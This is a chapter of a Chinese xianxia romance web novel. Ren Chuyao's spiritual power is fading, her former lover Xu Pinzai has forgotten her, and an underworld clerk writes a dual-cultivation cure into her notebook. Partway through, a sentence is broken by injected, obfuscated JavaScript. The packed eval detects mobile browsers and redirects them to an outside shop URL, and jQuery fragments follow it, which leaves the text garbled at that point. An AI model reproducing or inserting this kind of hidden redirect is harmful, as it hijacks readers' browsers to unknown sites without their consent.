许聘在转过身,看向任初瑶。
月光下,许聘在的脸让任初瑶楞了神。
那本备忘录里的话又浮上心头:
“许氏负心,与险境中弃吾不顾,遂害之吾落魄至此。”
她不知道这话是真是假,但她真的忘记他们之间到底发生了什么。
任初瑶垂下眼,说:“没见过。”
许聘在盯着她看了几秒,“是吗,那可能是我记错了。”
他转过身,摆了摆手,头也不回地走进了月色里。
任初瑶站在原地,看着他的背影一点一点被夜色吞没。
夜风穿巷而过,任初瑶深吸一口气,把那些乱七八糟的念头压下去,转身往石桥的方向走。
明天还要去找纸扎人的本体。
今天先睡觉。
——
京城东市,天福客栈。
二楼靠窗的雅座里,一个穿淡紫色道袍的年轻人正百无聊赖地用扇子敲着桌面。他生得白白净净,眉眼间带着几分书卷气,腰间挂着一块丹修令牌,桌上摆满了瓶瓶罐罐,像是刚从药材市场扫货回来。
听见楼梯响动,他立刻抬起头,眼睛一亮。
“哎哟,许兄,你可算回来了!”许聘在踩着楼梯上来,玄色道袍上还沾着纸扎人碎裂时溅的纸屑。他在对面坐下,随手解下自己的佩剑搁在桌上。
沈烊不紧不慢地满上他面前的酒樽,然后双手撑着下巴,眼巴巴地看着他:“见到了吗?”
许聘在端起酒樽抿了一口:“见到了。”
沈烊凑近了些:“怎么样怎么样??”
许聘在语气平淡:“挺邪乎的。我断了它一只手,但还是让它跑了。”
沈烊愣了一下,然后猛地往后一仰,扇子“啪”地拍在桌上:“断了她一只手?许兄你昏了头吧!”
他压低声音,急得直比划:“你打她干嘛啊!那可是……是你的——”
“我的什么?”许聘在抬眼看他。
沈烊张了张嘴,后半截话卡在喉咙里,好半天才憋出来:“……我的意思是那个渡鬼的道士任初瑶,你见到了吗?”
许聘在放下酒樽,淡淡道:“哦。见到了。”
他靠在椅背上,看向窗外的夜色,“你让我今晚去柳子巷,就是为了让我见她?”
沈烊心虚地移开目光,拿起扇子扇了扇风:“这不是……碰巧嘛。”
许聘在没有拆穿他。
沈烊是他在“抓了么”为数不多的好友之一,负责丹药研发部门。这人平日里嘻嘻哈哈,但办事靠谱。今天下午,沈烊忽然跑来找他,说柳子巷那个纸扎人的单子有蹊跷,让他务必亲自去一趟。
他去了,果然遇到了那个渡鬼道士,那个让他觉得用符手法似曾相识的符修道士。
沈烊见他沉默,索性摊牌了:“她叫任初瑶,就是之前申请了渡鬼道士令、然后消失了很久的符修。我今天上班的时候,系统里刷到她领令牌的记录,这才赶紧告诉你。”
许聘在没说话。
沈烊观察着他的表情,试探道:“你就不好奇?你闭关前死活跟我说,让我在你出关之后,帮你和她再度搭上线。你为此还花了大价钱,帮我换了全部丹炉,囤了上千种药材。”
他顿了顿,语气带了几分肉疼:“你现在要是说不想见了,我这些收了的礼可不退哈。”
许聘在终于有了反应。他皱了皱眉,端起酒樽又喝了一口,才开口道:“她灵力很强。”
沈烊一愣:“啊?”
许聘在语气认真:“她能把灵气气息转变得让邪神误以为她是木头,思维也缜密,在纸扎人身上留了灵气印记,打算白天去找本体。很有实力。”
......沈烊张了张嘴,一时不知道该说什么。
许聘在:“可是,我已经不认识她了。”
“之前情谊再深,如今也像是陌生人。再见,又有何意义?”
沈烊沉默了一会儿,叹了口气:“你说得也是。”
他拿起扇子,有一下没一下地扇着:“可我是真觉得可惜。你只是忘记了,要是用记忆石录一下你当时为任初瑶哭得死去活来的样子,你自己看了都得吓一跳。”
许聘在抬眼看他。
沈烊被那目光看得一激灵,连忙摆手:“行行行,不说了不说了。”他收起扇子,正色道:“我是觉得,如果你真的忘记了,那缘分已断,各自安好也挺好的。强扭的瓜不甜,你也不用为了过去的执念,勉强自己去亲近一个陌生人。”
许聘在“嗯”了一声,没再多说什么,他站起身,拿起配件,往楼梯口走。
“许兄。”沈烊在身后叫住他。
许聘在脚步一顿。
沈烊想了想,才道:“嗐,没事了。”
许聘在没理他,抬脚下了楼。
与此同时,石桥底下。
任初瑶裹着被子,翻来覆去睡不着,眼睛盯着头顶那些斑驳的石缝,脑子里乱糟糟的。
一会儿是许聘在月光下的脸,一会儿是他掐住纸扎人手腕时那一弹指的轻松惬意。
她翻了个身,把手伸到枕头底下摸了摸,摸出半截符箓。
这是今晚用废的那张“破邪符”。符纸已经烧焦了大半,只剩一个角,上面还残留着微弱的灵光。
任初瑶把符纸举到眼前,看了很久。
她忽然坐起身,盘腿打坐,试着运转体内的小周天。
灵气从丹田升起,沿着经脉缓缓流动——
然后,像沙子从指缝间漏掉一样,一点一点地消散了。
任初瑶睁开眼睛,手心空空荡荡。
她不死心,又试了一次。
这次更糟,灵气刚升起来就散了,连丹田都没出。
她低头看着自己的手,这双手曾经画过无数符箓,曾经在十五岁时就跻身大玄符修前三,曾经……
任初瑶深吸一口气,从枕头底下翻出那本备忘录。
翻开扉页:“吾十二岁通灵识,十五岁列大玄符修前三。天赋异禀,灵力悟性极强。”任初瑶盯着这行字看了很久。
天赋异禀、悟性极强。
而现在,她连一张“破邪符”都催动不了。
她闭上眼睛,脑海里浮现出今晚许聘在弹指碎纸人的画面。
没想到,原本去见许聘在,是希望走走自己那本强行塞来的复仇女子人设,可现在自己更在乎的好像是,为什么自己变得这么弱了。
前任已经变成灵力强大的单王,而自己成了一个连鬼都看不见的、灵力正在一天天消失的废人。
她小声问:“我就要变成废人一个了吗?”桥洞里没有人回答她。
任初瑶把备忘录合上,塞回枕头底下,重新躺下来。她盯着桥洞顶,眼睛酸酸的。
不能哭。
哭也没用。
明天还要去找纸扎人的本体,先睡觉。
任初瑶翻了个身,把被子蒙过头顶,就在她看不见的天桥角落,一个穿官袍的年轻女人正蹲在阴影
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887166|212588||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
里,手忙脚乱地翻着一本厚厚的古籍。
官袍的年轻女人梳着利落的发髻,腰间挂着一块地府令牌,嘴里念念有词:“没有……没有……这个也没有……”
翻了十几页,她烦躁地把古籍往膝盖上一拍:“这破书怎么什么都查不到!”
话音刚落,古籍里飘出一张纸,上面写着:请翻阅附录丙篇第三百二十一页。
女人:“我去……你怎么不早说!”
她飞快翻到附录丙篇,一目十行地扫过去,忽然眼睛一亮:“找到了!”
她叫舒岐,是地府轮回司的文书官吏。而她的顶头上司,就是那个此刻正缩在被窝里、灵力一天天消失的穷酸道士——任初瑶。
任初瑶原是轮回司司主,天生聚灵而生,灵力浑厚到整个地府都找不出第二个。
但二十年前,任初瑶决定亲自上人间渡化恶鬼。
因为十八层地狱鬼满为患,许多鬼因心结所困,即使刑期已满也不愿入轮回。地府秩序即将崩盘,任初瑶认为,与其在地府等着鬼满为患,不如从源头解决问题,既去人间渡鬼,省得堆积在地府。
于是她投胎转世,成了一个凡人道士。
同时地府为此开放了一批道士的通灵权限,让更多人能看见鬼、渡化鬼。但这个权限会破坏天地秩序,所以获得通灵体质的人,阳寿都不会长。
任初瑶虽然为轮回司主,但投胎之后也逃不过这个规则。
她死过一次了。
死在十九岁。
是许聘在用秘术复活了她。
舒岐想到这里,忍不住叹了口气。上司这段凡间姻缘,她从头看到尾,看得心累。
许聘在复活任初瑶的时候,挑了一具凡人的身体。
结果这具凡人躯体根本承载不了任初瑶原本的灵力,所以她的灵力才会一天天消失。
舒岐眉头皱得能夹死苍蝇,手指飞快地翻着古籍。
“有了有了,”她小声念道,“凡人躯体修炼灵力之法——需修炼‘聚灵诀’,可短时间重塑灵力根基。然此功法需与灵力强大之元阳未泄者双修,方可奏效。”
舒岐愣了两秒,眼前出现她上司和男人的香艳场面,然后她脸红了。
“这……这什么破功法!”舒岐把书往地上一扣,捂着脸蹲了好一会儿。
冷静下来之后,舒岐想了想,还是从袖中抽出一支毛笔,蘸了蘸墨,对着任初瑶枕头底下的备忘录轻轻一点。
一道微光闪过。
备忘录里,凭空多出了一页内容。
做完这些,舒岐把古籍收好,站起身,拍了拍官袍上的灰。她看了一眼桥洞里裹成蚕蛹的任初瑶,小声嘟囔:“司主大人,您可别怪我。属下也是为您好……再说了,许聘在那人,元阳肯定还在吧?他为了复活您连命都不要了,哪有心思想别的……”
她顿了顿,又补了一句:“应该还在吧?”
算了,不想了。
舒岐身形一闪,消失在夜色中。
石桥底下,任初瑶在睡梦中翻了个身,手无意识地摸到枕头底下的备忘录。
备忘录微微发烫。
她迷迷糊糊地睁开眼睛,抽出备忘录,翻开。
新多出来的一页上,工工整整地写着一行字:
“灵力修复之法:修炼‘聚灵诀’。需与灵力强大之元阳未泄者双修,方可重塑灵力根基。”任初瑶盯着这行字看了三秒钟。
然后她眯起眼睛。
“双修?!”